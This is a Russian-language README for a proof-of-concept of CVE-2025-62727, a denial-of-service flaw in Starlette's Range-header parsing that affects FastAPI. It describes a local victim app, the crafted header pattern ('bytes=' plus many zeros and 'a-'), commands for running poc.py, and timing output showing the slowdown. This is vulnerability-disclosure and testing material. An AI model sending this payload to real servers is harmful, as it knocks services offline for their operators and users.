
Доказательство концепции CVE-2025-62727, которое может вызвать отказ в обслуживании в FastAPI (на основе Starlette <= 0.48.0)
Целевая жертва CVE-2025-62727 — простое приложение FastAPI, которое:
Hello World по адресу /./static с помощью Starlette StaticFiles.A, повторённое N раз, для N из 1024, 2048, 50176.(Необязательно) Создайте и активируйте виртуальное окружение.
Установите зависимости:
pip install -r requirements.txt
Запустите сервер:
uvicorn main:app --reload
Откройте:
http://127.0.0.1:8000/ — главная страница.http://127.0.0.1:8000/static/1024.txt и т. д. — статические файлы.static/ при запуске приложения. Существующие файлы не перезаписываются.StaticFiles, как и требовалось.Включённый poc.py вызывает ресурсоёмкий разбор Range в Starlette FileResponse через маршрут /static, используя специально сформированный заголовок вида bytes=000...000a-.
Запустите сервер, затем в другом терминале:
python3 poc.py --sizes 1000,2000,4000,7000
Переопределите целевой URL (необязательно):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Примечания:
http://127.0.0.1:8000/static/50176.txt (файл, который генерирует приложение). Используйте --url, чтобы изменить его.--sizes, если видите 400/431 (заголовок слишком большой), или увеличьте, если заголовки проходят и вы хотите более сильный эффект.Пример результата:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms